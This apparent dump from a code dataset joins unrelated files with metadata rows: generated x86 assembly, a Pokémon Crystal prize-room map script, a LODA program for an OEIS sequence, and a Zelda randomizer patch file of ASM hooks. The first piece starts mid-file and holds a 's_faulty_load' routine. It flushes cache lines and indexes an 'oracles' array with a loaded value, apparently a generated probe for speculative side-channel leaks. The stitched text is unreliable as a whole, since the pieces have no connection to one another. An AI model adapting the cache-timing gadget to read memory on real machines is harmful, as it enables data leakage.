add %r11, %r11
mov $0x6162636465666768, %r12
movq %r12, %xmm6
movups %xmm6, (%rsi)
nop
nop
nop
nop
nop
and %r14, %r14
lea addresses_UC_ht+0x1eb13, %rsi
lea addresses_WC_ht+0xb08b, %rdi
clflush (%rsi)
nop
sub $33548, %r12
mov $94, %rcx
rep movsq
nop
nop
xor $44330, %rdx
lea addresses_A_ht+0xe913, %rcx
nop
nop
nop
nop
nop
and $8803, %r12
movups (%rcx), %xmm6
vpextrq $1, %xmm6, %r11
nop
nop
nop
nop
sub %rsi, %rsi
lea addresses_UC_ht+0xeff3, %rsi
lea addresses_normal_ht+0x17fa3, %rdi
nop
nop
and %rbx, %rbx
mov $77, %rcx
rep movsq
nop
nop
nop
inc %r12
lea addresses_A_ht+0x1a313, %r14
clflush (%r14)
xor $65320, %rdx
mov $0x6162636465666768, %r11
movq %r11, %xmm3
and $0xffffffffffffffc0, %r14
movntdq %xmm3, (%r14)
nop
nop
nop
nop
cmp $38656, %r11
lea addresses_WT_ht+0x1b13, %rdi
nop
and $24422, %r12
movb $0x61, (%rdi)
nop
nop
nop
add %rcx, %rcx
lea addresses_D_ht+0x313, %rsi
nop
sub $33607, %r11
movb (%rsi), %r12b
nop
add $28910, %rcx
lea addresses_D_ht+0x1cdbb, %rsi
lea addresses_A_ht+0xcbb3, %rdi
nop
nop
nop
nop
nop
add %rdx, %rdx
mov $90, %rcx
rep movsl
nop
nop
sub $22720, %rdi
lea addresses_UC_ht+0x11e13, %rsi
lea addresses_UC_ht+0x8f13, %rdi
nop
xor $40388, %r14
mov $27, %rcx
rep movsb
nop
nop
nop
and $16220, %rbx
lea addresses_D_ht+0x1d433, %r12
nop
inc %rdi
movl $0x61626364, (%r12)
nop
nop
dec %r11
lea addresses_D_ht+0xee53, %r11
nop
nop
nop
nop
nop
cmp $7767, %r12
movl $0x61626364, (%r11)
nop
nop
add %rbx, %rbx
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbx
pop %r14
pop %r12
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r12
push %r8
push %r9
push %rbp
push %rbx
push %rcx
// Store
lea addresses_US+0x16103, %r12
nop
nop
nop
nop
inc %rbp
movb $0x51, (%r12)
nop
nop
nop
nop
nop
cmp %r8, %r8
// Store
mov $0x643, %r9
nop
nop
nop
nop
nop
inc %r8
movb $0x51, (%r9)
sub $42209, %r8
// Store
lea addresses_WC+0x19b13, %r9
sub $24689, %r11
mov $0x5152535455565758, %rbp
movq %rbp, %xmm4
vmovups %ymm4, (%r9)
and %r11, %r11
// Faulty Load
lea addresses_normal+0x2313, %r9
nop
nop
nop
nop
add %r12, %r12
mov (%r9), %bp
lea oracles, %rcx
and $0xff, %rbp
shlq $12, %rbp
mov (%rcx,%rbp,1), %rbp
pop %rcx
pop %rbx
pop %rbp
pop %r9
pop %r8
pop %r12
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'src': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_normal', 'AVXalign': False, 'size': 2}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 1, 'type': 'addresses_US', 'AVXalign': False, 'size': 1}}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 3, 'type': 'addresses_P', 'AVXalign': False, 'size': 1}}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 11, 'type': 'addresses_WC', 'AVXalign': False, 'size': 32}}
[Faulty Load]
{'src': {'NT': False, 'same': True, 'congruent': 0, 'type': 'addresses_normal', 'AVXalign': False, 'size': 2}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'NT': False, 'same': False, 'congruent': 11, 'type': 'addresses_normal_ht', 'AVXalign': False, 'size': 8}, 'OP': 'LOAD'}
{'src': {'NT': False, 'same': False, 'congruent': 7, 'type': 'addresses_D_ht', 'AVXalign': True, 'size': 1}, 'OP': 'LOAD'}
{'src': {'NT': False, 'same': False, 'congruent': 2, 'type': 'addresses_A_ht', 'AVXalign': False, 'size': 16}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 9, 'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 16}}
{'src': {'same': False, 'congruent': 11, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 2, 'type': 'addresses_WC_ht'}}
{'src': {'NT': False, 'same': False, 'congruent': 9, 'type': 'addresses_A_ht', 'AVXalign': False, 'size': 16}, 'OP': 'LOAD'}
{'src': {'same': False, 'congruent': 3, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 4, 'type': 'addresses_normal_ht'}}
{'OP': 'STOR', 'dst': {'NT': True, 'same': False, 'congruent': 11, 'type': 'addresses_A_ht', 'AVXalign': False, 'size': 16}}
{'OP': 'STOR', 'dst': {'NT': False, 'same': True, 'congruent': 11, 'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 1}}
{'src': {'NT': False, 'same': False, 'congruent': 9, 'type': 'addresses_D_ht', 'AVXalign': True, 'size': 1}, 'OP': 'LOAD'}
{'src': {'same': False, 'congruent': 2, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 4, 'type': 'addresses_A_ht'}}
{'src': {'same': False, 'congruent': 8, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 9, 'type': 'addresses_UC_ht'}}
{'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 5, 'type': 'addresses_D_ht', 'AVXalign': False, 'size': 4}}
{'OP': 'STOR', 'dst': {'NT': True, 'same': True, 'congruent': 6, 'type': 'addresses_D_ht', 'AVXalign': False, 'size': 4}}
{'34': 21829}
34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34
*/
| 31.557252
| 2,999
| 0.654814
|
20c3390901e9d7133cfb48041624bb6df392bc47
| 7,342
|
asm
|
Assembly
|
maps/CeladonGameCornerPrizeRoom.asm
|
Dev727/ancientplatinum
|
8b212a1728cc32a95743e1538b9eaa0827d013a7
|
[
"blessing"
] | 1
|
2021-07-05T23:48:37.000Z
|
2021-07-05T23:48:37.000Z
|
maps/CeladonGameCornerPrizeRoom.asm
|
Dev727/ancientplatinum
|
8b212a1728cc32a95743e1538b9eaa0827d013a7
|
[
"blessing"
] | 1
|
2020-12-16T01:11:20.000Z
|
2020-12-16T22:53:56.000Z
|
maps/CeladonGameCornerPrizeRoom.asm
|
Dev727/ancientplatinum
|
8b212a1728cc32a95743e1538b9eaa0827d013a7
|
[
"blessing"
] | 1
|
2021-07-05T23:33:22.000Z
|
2021-07-05T23:33:22.000Z
|
CELADONGAMECORNERPRIZEROOM_TM32_COINS EQU 1500
CELADONGAMECORNERPRIZEROOM_TM29_COINS EQU 3500
CELADONGAMECORNERPRIZEROOM_TM15_COINS EQU 7500
CELADONGAMECORNERPRIZEROOM_PIKACHU_COINS EQU 2222
CELADONGAMECORNERPRIZEROOM_PORYGON_COINS EQU 5555
CELADONGAMECORNERPRIZEROOM_LARVITAR_COINS EQU 8888
object_const_def ; object_event constants
const CELADONGAMECORNERPRIZEROOM_GENTLEMAN
const CELADONGAMECORNERPRIZEROOM_PHARMACIST
CeladonGameCornerPrizeRoom_MapScripts:
db 0 ; scene scripts
db 0 ; callbacks
CeladonGameCornerPrizeRoomGentlemanScript:
jumptextfaceplayer CeladonGameCornerPrizeRoomGentlemanText
CeladonGameCornerPrizeRoomPharmacistScript:
jumptextfaceplayer CeladonGameCornerPrizeRoomPharmacistText
CeladonGameCornerPrizeRoomTMVendor:
faceplayer
opentext
writetext CeladonPrizeRoom_PrizeVendorIntroText
waitbutton
checkitem COIN_CASE
iffalse CeladonPrizeRoom_NoCoinCase
writetext CeladonPrizeRoom_AskWhichPrizeText
CeladonPrizeRoom_tmcounterloop:
special DisplayCoinCaseBalance
loadmenu CeladonPrizeRoom_TMMenuHeader
verticalmenu
closewindow
ifequal 1, .DoubleTeam
ifequal 2, .Psychic
ifequal 3, .HyperBeam
sjump CeladonPrizeRoom_CancelPurchaseScript
.DoubleTeam:
checkcoins CELADONGAMECORNERPRIZEROOM_TM32_COINS
ifequal HAVE_LESS, CeladonPrizeRoom_notenoughcoins
getitemname STRING_BUFFER_3, TM_DOUBLE_TEAM
scall CeladonPrizeRoom_askbuy
iffalse CeladonPrizeRoom_CancelPurchaseScript
giveitem TM_DOUBLE_TEAM
iffalse CeladonPrizeRoom_notenoughroom
takecoins CELADONGAMECORNERPRIZEROOM_TM32_COINS
sjump CeladonPrizeRoom_purchased
.Psychic:
checkcoins CELADONGAMECORNERPRIZEROOM_TM29_COINS
ifequal HAVE_LESS, CeladonPrizeRoom_notenoughcoins
getitemname STRING_BUFFER_3, TM_PSYCHIC_M
scall CeladonPrizeRoom_askbuy
iffalse CeladonPrizeRoom_CancelPurchaseScript
giveitem TM_PSYCHIC_M
iffalse CeladonPrizeRoom_notenoughroom
takecoins CELADONGAMECORNERPRIZEROOM_TM29_COINS
sjump CeladonPrizeRoom_purchased
.HyperBeam:
checkcoins CELADONGAMECORNERPRIZEROOM_TM15_COINS
ifequal HAVE_LESS, CeladonPrizeRoom_notenoughcoins
getitemname STRING_BUFFER_3, TM_HYPER_BEAM
scall CeladonPrizeRoom_askbuy
iffalse CeladonPrizeRoom_CancelPurchaseScript
giveitem TM_HYPER_BEAM
iffalse CeladonPrizeRoom_notenoughroom
takecoins CELADONGAMECORNERPRIZEROOM_TM15_COINS
sjump CeladonPrizeRoom_purchased
CeladonPrizeRoom_askbuy:
writetext CeladonPrizeRoom_ConfirmPurchaseText
yesorno
end
CeladonPrizeRoom_purchased:
waitsfx
playsound SFX_TRANSACTION
writetext CeladonPrizeRoom_HereYouGoText
waitbutton
sjump CeladonPrizeRoom_tmcounterloop
CeladonPrizeRoom_notenoughcoins:
writetext CeladonPrizeRoom_NotEnoughCoinsText
waitbutton
closetext
end
CeladonPrizeRoom_notenoughroom:
writetext CeladonPrizeRoom_NotEnoughRoomText
waitbutton
closetext
end
CeladonPrizeRoom_CancelPurchaseScript:
writetext CeladonPrizeRoom_ComeAgainText
waitbutton
closetext
end
CeladonPrizeRoom_NoCoinCase:
writetext CeladonPrizeRoom_NoCoinCaseText
waitbutton
closetext
end
CeladonPrizeRoom_TMMenuHeader:
db MENU_BACKUP_TILES ; flags
menu_coords 0, 2, 15, TEXTBOX_Y - 1
dw .MenuData
db 1 ; default option
.MenuData:
db STATICMENU_CURSOR ; flags
db 4 ; items
db "TM32 1500@"
db "TM29 3500@"
db "TM15 7500@"
db "CANCEL@"
CeladonGameCornerPrizeRoomPokemonVendor:
faceplayer
opentext
writetext CeladonPrizeRoom_PrizeVendorIntroText
waitbutton
checkitem COIN_CASE
iffalse CeladonPrizeRoom_NoCoinCase
.loop
writetext CeladonPrizeRoom_AskWhichPrizeText
special DisplayCoinCaseBalance
loadmenu .MenuHeader
verticalmenu
closewindow
ifequal 1, .Pikachu
ifequal 2, .Porygon
ifequal 3, .Larvitar
sjump CeladonPrizeRoom_CancelPurchaseScript
.Pikachu:
checkcoins CELADONGAMECORNERPRIZEROOM_PIKACHU_COINS
ifequal HAVE_LESS, CeladonPrizeRoom_notenoughcoins
readvar VAR_PARTYCOUNT
ifequal PARTY_LENGTH, CeladonPrizeRoom_notenoughroom
getmonname STRING_BUFFER_3, PIKACHU
scall CeladonPrizeRoom_askbuy
iffalse CeladonPrizeRoom_CancelPurchaseScript
waitsfx
playsound SFX_TRANSACTION
writetext CeladonPrizeRoom_HereYouGoText
waitbutton
loadmonindex 1, PIKACHU
special GameCornerPrizeMonCheckDex
givepoke PIKACHU, 25
takecoins CELADONGAMECORNERPRIZEROOM_PIKACHU_COINS
sjump .loop
.Porygon:
checkcoins CELADONGAMECORNERPRIZEROOM_PORYGON_COINS
ifequal HAVE_LESS, CeladonPrizeRoom_notenoughcoins
readvar VAR_PARTYCOUNT
ifequal PARTY_LENGTH, CeladonPrizeRoom_notenoughroom
getmonname STRING_BUFFER_3, PORYGON
scall CeladonPrizeRoom_askbuy
iffalse CeladonPrizeRoom_CancelPurchaseScript
waitsfx
playsound SFX_TRANSACTION
writetext CeladonPrizeRoom_HereYouGoText
waitbutton
loadmonindex 2, PORYGON
special GameCornerPrizeMonCheckDex
givepoke PORYGON, 15
takecoins CELADONGAMECORNERPRIZEROOM_PORYGON_COINS
sjump .loop
.Larvitar:
checkcoins CELADONGAMECORNERPRIZEROOM_LARVITAR_COINS
ifequal HAVE_LESS, CeladonPrizeRoom_notenoughcoins
readvar VAR_PARTYCOUNT
ifequal PARTY_LENGTH, CeladonPrizeRoom_notenoughroom
getmonname STRING_BUFFER_3, LARVITAR
scall CeladonPrizeRoom_askbuy
iffalse CeladonPrizeRoom_CancelPurchaseScript
waitsfx
playsound SFX_TRANSACTION
writetext CeladonPrizeRoom_HereYouGoText
waitbutton
loadmonindex 3, LARVITAR
special GameCornerPrizeMonCheckDex
givepoke LARVITAR, 40
takecoins CELADONGAMECORNERPRIZEROOM_LARVITAR_COINS
sjump .loop
.MenuHeader:
db MENU_BACKUP_TILES ; flags
menu_coords 0, 2, 17, TEXTBOX_Y - 1
dw .MenuData
db 1 ; default option
.MenuData:
db STATICMENU_CURSOR ; flags
db 4 ; items
db "PIKACHU 2222@"
db "PORYGON 5555@"
db "LARVITAR 8888@"
db "CANCEL@"
CeladonGameCornerPrizeRoomGentlemanText:
text "I wanted PORYGON,"
line "but I was short by"
cont "100 coins…"
done
CeladonGameCornerPrizeRoomPharmacistText:
text "Whew…"
para "I've got to stay"
line "calm and cool…"
para "I can't lose my"
line "cool, or I'll lose"
cont "all my money…"
done
CeladonPrizeRoom_PrizeVendorIntroText:
text "Welcome!"
para "We exchange your"
line "coins for fabulous"
cont "prizes!"
done
CeladonPrizeRoom_AskWhichPrizeText:
text "Which prize would"
line "you like?"
done
CeladonPrizeRoom_ConfirmPurchaseText:
text "OK, so you wanted"
line "a @"
text_ram wStringBuffer3
text "?"
done
CeladonPrizeRoom_HereYouGoText:
text "Here you go!"
done
CeladonPrizeRoom_NotEnoughCoinsText:
text "You don't have"
line "enough coins."
done
CeladonPrizeRoom_NotEnoughRoomText:
text "You have no room"
line "for it."
done
CeladonPrizeRoom_ComeAgainText:
text "Oh. Please come"
line "back with coins!"
done
CeladonPrizeRoom_NoCoinCaseText:
text "Oh? You don't have"
line "a COIN CASE."
done
CeladonGameCornerPrizeRoom_MapEvents:
db 0, 0 ; filler
db 2 ; warp events
warp_event 2, 5, CELADON_CITY, 7
warp_event 3, 5, CELADON_CITY, 7
db 0 ; coord events
db 2 ; bg events
bg_event 2, 1, BGEVENT_READ, CeladonGameCornerPrizeRoomTMVendor
bg_event 4, 1, BGEVENT_READ, CeladonGameCornerPrizeRoomPokemonVendor
db 2 ; object events
object_event 0, 2, SPRITE_GENTLEMAN, SPRITEMOVEDATA_STANDING_DOWN, 0, 0, -1, -1, PAL_NPC_RED, OBJECTTYPE_SCRIPT, 0, CeladonGameCornerPrizeRoomGentlemanScript, -1
object_event 4, 4, SPRITE_PHARMACIST, SPRITEMOVEDATA_WALK_UP_DOWN, 0, 1, -1, -1, PAL_NPC_GREEN, OBJECTTYPE_SCRIPT, 0, CeladonGameCornerPrizeRoomPharmacistScript, -1
| 25.581882
| 167
| 0.847998
|
2cc757338a0664824b4178ad78a70249d2db542d
| 463
|
asm
|
Assembly
|
oeis/274/A274340.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/274/A274340.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/274/A274340.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A274340: A 4-cycle of the iterated sum of deficient divisors function.
; Submitted by Jamie Morken(m3)
; 19,20,22,36,19,20,22,36,19,20,22,36,19,20,22,36,19,20,22,36,19,20,22,36,19,20,22,36,19,20,22,36,19,20,22,36,19,20,22,36,19,20,22,36,19,20,22,36,19,20,22,36,19,20,22,36,19,20,22,36,19,20,22,36,19,20,22,36,19,20,22,36,19,20,22,36,19,20,22,36,19,20,22,36,19,20,22,36,19,20,22,36,19,20,22,36,19,20,22,36
mod $0,4
pow $0,2
dif $0,2
mul $0,2
trn $0,1
add $0,19
| 42.090909
| 301
| 0.673866
|
5f4151391c4159a2e969ff62f6281c78f3a0b64e
| 14,544
|
asm
|
Assembly
|
ASM/src/hacks.asm
|
mzxrules/MM-Randomizer
|
56260563e3737cbff8a2bbb98ff8bcb161f3440e
|
[
"MIT"
] | 1
|
2018-10-06T16:13:07.000Z
|
2018-10-06T16:13:07.000Z
|
ASM/src/hacks.asm
|
mzxrules/MM-Randomizer
|
56260563e3737cbff8a2bbb98ff8bcb161f3440e
|
[
"MIT"
] | null | null | null |
ASM/src/hacks.asm
|
mzxrules/MM-Randomizer
|
56260563e3737cbff8a2bbb98ff8bcb161f3440e
|
[
"MIT"
] | null | null | null |
; Prevent Kokiri Sword from being added to inventory on game load
; Replaces:
; sh t9, 0x009C (v0)
.org 0xBAED6C ; In memory: 0x803B2B6C
nop
;==================================================================================================
; Time Travel
;==================================================================================================
; Before time travel
; Replaces:
; lw t6, 0x04 (s0)
.org 0xCB6860 ; Bg_Toki_Swd in func_8091902C
jal before_time_travel
; After time travel
; Replaces:
; jr ra
.org 0xAE59E0 ; In memory: 0x8006FA80
j after_time_travel
;==================================================================================================
; Item Overrides
;==================================================================================================
; Patch NPCs to give override-compatible items
.org 0xDB13D3 :: .byte 0x76 ; Frog Ocarina Game
.org 0xDF264F :: .byte 0x76 ; Ocarina memory game
.org 0xE2F093 :: .byte 0x34 ; Bombchu Bowling Bomb Bag
.org 0xEC9CE7 :: .byte 0x7A ; Deku Theater Mask of Truth
; Runs when storing the pending item to the player instance
; Replaces:
; sb a2, 0x0424 (a3)
; sw a0, 0x0428 (a3)
.org 0xA98C30 ; In memory: 0x80022CD0
jal store_item_data_hook
sw a0, 0x0428 (a3)
; Override object ID (NPCs)
; Replaces:
; lw a2, 0x0030 (sp)
; or a0, s0, r0
; jal ...
; lh a1, 0x0004 (a2)
.org 0xBDA0D8 ; In memory: 0x803950C8
jal override_object_npc
or a0, s0, r0
.skip 4
nop
; Override object ID (Chests)
; Replaces:
; lw t9, 0x002C (sp)
; or a0, s0, r0
; jal ...
; lh a1, 0x0004 (t9)
.org 0xBDA264 ; In memory: 0x80395254
jal override_object_chest
or a0, s0, r0
.skip 4
nop
; Override graphic ID
; Replaces:
; bltz v1, A
; subu t0, r0, v1
; jr ra
; sb v1, 0x0852 (a0)
; A:
; sb t0, 0x0852 (a0)
; jr ra
.org 0xBCECBC ; In memory: 0x80389CAC
j override_graphic
nop
nop
nop
nop
nop
; Override text ID
; Replaces:
; lbu a1, 0x03 (v0)
; sw a3, 0x0028 (sp)
.org 0xBE9AC0 ; In memory: 0x803A4AB0
jal override_text
sw a3, 0x0028 (sp)
; Override action ID
; Replaces:
; lw v0, 0x0024 (sp)
; lw a0, 0x0028 (sp)
; jal 0x8006FDCC
; lbu a1, 0x0000 (v0)
.org 0xBE9AD8 ; In memory: 0x803A4AC8
jal override_action
lw a0, 0x0028 (sp)
.skip 4
nop
; Inventory check
; Replaces:
; jal 0x80071420
; sw a2, 0x0030 (sp)
.org 0xBDA0A0 ; In memory: 0x80395090
jal inventory_check
sw a2, 0x0030 (sp)
; Prevent Silver Gauntlets warp
; Replaces:
; addiu at, r0, 0x0035
.org 0xBE9BDC ; In memory: 0x803A4BCC
addiu at, r0, 0x8383 ; Make branch impossible
; Change Skulltula Token to give a different item
; Replaces
; move a0,s1
; jal 0x0006fdcc ; call ex_06fdcc(ctx, 0x0071); VROM: 0xAE5D2C
; li a1,113
; lw t5,44(sp) ; t5 = what was *(ctx + 0x1c44) at the start of the function
; li t4,10 ; t4 = 0x0a
; move a0,s1
; li a1,180 ; at = 0x00b4 ("You destoryed a Gold Skulltula...")
; move a2,zero
; jal 0x000dce14 ; call ex_0dce14(ctx, 0x00b4, 0)
; sh t4,272(t5) ; *(t5 + 0x110) = 0x000a
.org 0xEC68BC
.area 0x28, 0
lw t5,44(sp) ; original code
li t4,10 ; original code
sh t4,272(t5) ; original code
jal override_skulltula_token ; call override_skulltula_token(_, actor)
move a1,s0
.endarea
.org 0xEC69AC
.area 0x28, 0
lw t5,44(sp) ; original code
li t4,10 ; original code
sh t4,272(t5) ; original code
jal override_skulltula_token ; call override_skulltula_token(_, actor)
move a1,s0
.endarea
;==================================================================================================
; Every frame hooks
;==================================================================================================
; Runs before the game state updates
; Replaces:
; lw t9, 0x0004 (s0)
; or a0, s0, r0
.org 0xB16B50 ; In memory: 0x800A0BF0
jal before_game_state_update
nop
; Runs after the game state updates
; Replaces:
; lui t6, 0x8012
; lbu t6, 0x1212 (t6)
.org 0xB16B60 ; In memory: 0x800A0C00
jal after_game_state_update
nop
;==================================================================================================
; Special item sources
;==================================================================================================
; Override Light Arrow cutscene
; Replaces:
; addiu t8, r0, 0x0053
; ori t9, r0, 0xFFF8
; sw t8, 0x0000 (s0)
; b 0x80056F84
; sw t9, 0x0008 (s0)
.org 0xACCE88 ; In memory: 0x80056F28
jal override_light_arrow_cutscene
nop
nop
nop
nop
; Make all Great Fairies give an item
; Replaces:
; jal 0x8002049C
; addiu a1, r0, 0x0038
.org 0xC89744 ; In memory: 0x801E3884
jal override_great_fairy_cutscene
addiu a1, r0, 0x0038
; Upgrade fairies check scene chest flags instead of magic/defense
; Mountain Summit Fairy
; Replaces:
; lbu t6, 0x3A (a1)
.org 0xC89868 ; In memory: 0x801E39A8
lbu t6, 0x1D28 (s0)
; Crater Fairy
; Replaces:
; lbu t9, 0x3C (a1)
.org 0xC898A4 ; In memory: 0x801E39E4
lbu t9, 0x1D29 (s0)
; Ganon's Castle Fairy
; Replaces:
; lbu t2, 0x3D (a1)
.org 0xC898C8 ; In memory: 0x801E3A08
lbu t2, 0x1D2A (s0)
; Upgrade fairies never check for magic meter
; Replaces:
; lbu t6, 0xA60A (t6)
.org 0xC892DC ; In memory: 0x801E341C
li t6, 1
; Item fairies never check for magic meter
; Replaces:
; lbu t2, 0xA60A (t2)
.org 0xC8931C ; In memory: 0x801E345C
li t2, 1
;==================================================================================================
; Menu hacks
;==================================================================================================
; Make the "SOLD OUT" menu text blank
.org 0x8A9C00
.fill 0x400, 0
; Item Menu hooks:
;
; There are 4 removed checks for whether the cursor is allowed to move to an adjacent space,
; one for each cardinal direction.
;
; There are 4 hooks that override the item ID used to display the item description.
; One runs periodically (because the description flips between the item name and "< v > to Equip").
; The other three run immediately when the cursor moves.
; Left movement check
; Replaces:
; beq s4, t5, 0x8038F2B4
; nop
.org 0xBB77B4 ; In memory: 0x8038F134
nop
nop
; Right movement check AND an immediate description update
; Replaces:
; lbu t4, 0x0074 (t9)
; beq s4, t4, 0x8038F2B4
; nop
.org 0xBB7890 ; In memory: 0x8038F210
jal item_menu_description_id_immediate_1
nop
nop
; Immediate description update
; Replaces:
; lbu t6, 0x0074 (t5)
; sh t6, 0x009A (sp)
.org 0xBB7950 ; In memory: 0x8038F2D0
jal item_menu_description_id_immediate_2
nop
; Upward movement check
; Replaces:
; beq s4, t4, 0x8038F598
; nop
.org 0xBB7BA0 ; In memory: 0x8038F520
nop
nop
; Downward movement check
; Replaces:
; beq s4, t4, 0x8038F598
; nop
.org 0xBB7BFC ; In memory: 0x8038F57C
nop
nop
; Immediate description update
; Replaces:
; lbu t7, 0x0074 (t6)
; sh t7, 0x009A (sp)
.org 0xBB7C3C ; In memory: 0x8038F5BC
jal item_menu_description_id_immediate_3
nop
; Periodic description update
; Replaces:
; lbu t9, 0x0074 (t8)
; sh t9, 0x009A (sp)
.org 0xBB7C58 ; In memory: 0x8038F5D8
jal item_menu_description_id_periodic
nop
;==================================================================================================
; Song Fixes
;==================================================================================================
; Replaces:
; lw t5, 0x8AA0(t5)
.org 0xAE5DF0 ; In memory: 8006FE90
jal suns_song_fix
; Replaces:
; addu at, at, s3
.org 0xB54E5C ; In memory: 800DEEFC
jal suns_song_fix_event
; Replaces:
; addu at, at, s3
.org 0xB54B38 ; In memory: 800DEBD8
jal warp_song_fix
;==================================================================================================
; Initial save
;==================================================================================================
; Replaces:
; sb t0, 32(s1)
; sb a1, 33(s1)
.org 0xB06C2C ; In memory: ???
jal write_initial_save
sb t0, 32(s1)
;==================================================================================================
; Enemy Hacks
;==================================================================================================
; Replaces:
; beq t1, at, 0x801E51E0
.org 0xD74964 ; In memory: 0x801E51B4
b skip_steal_tunic ; disable like-like stealing tunic
.org 0xD74990
skip_steal_tunic:
;==================================================================================================
; Ocarina Song Cutscene Overrides
;==================================================================================================
; Replaces
; addu t8,t0,t7
; sb t6,0x74(t8) ; store to fairy ocarina slot
.org 0xAE6E48
jal override_fairy_ocarina_cutscene
addu t8,t0,t7
; a3 = item ID
; Replaces
; li v0,0xFF
.org 0xAE5DF8
jal override_ocarina_songs
; sw $t7, 0xa4($t0)
.org 0xAE5E04
nop
; Replaces
;lui at,0x1
;addu at,at,s0
.org 0xAC9ABC
jal override_requiem_song
nop
;lw $t7, 0xa4($v1)
;lui $v0, 0x200
;addiu $v0, $v0, 0x24a0
;and $t8, $t6, $t7
.org 0xE09F68
lb t7,0x0EDE(v1) ; check learned song from sun's song
.skip 4
.skip 4
andi t8, t7, 0x04
;addiu $t7, $zero, 1
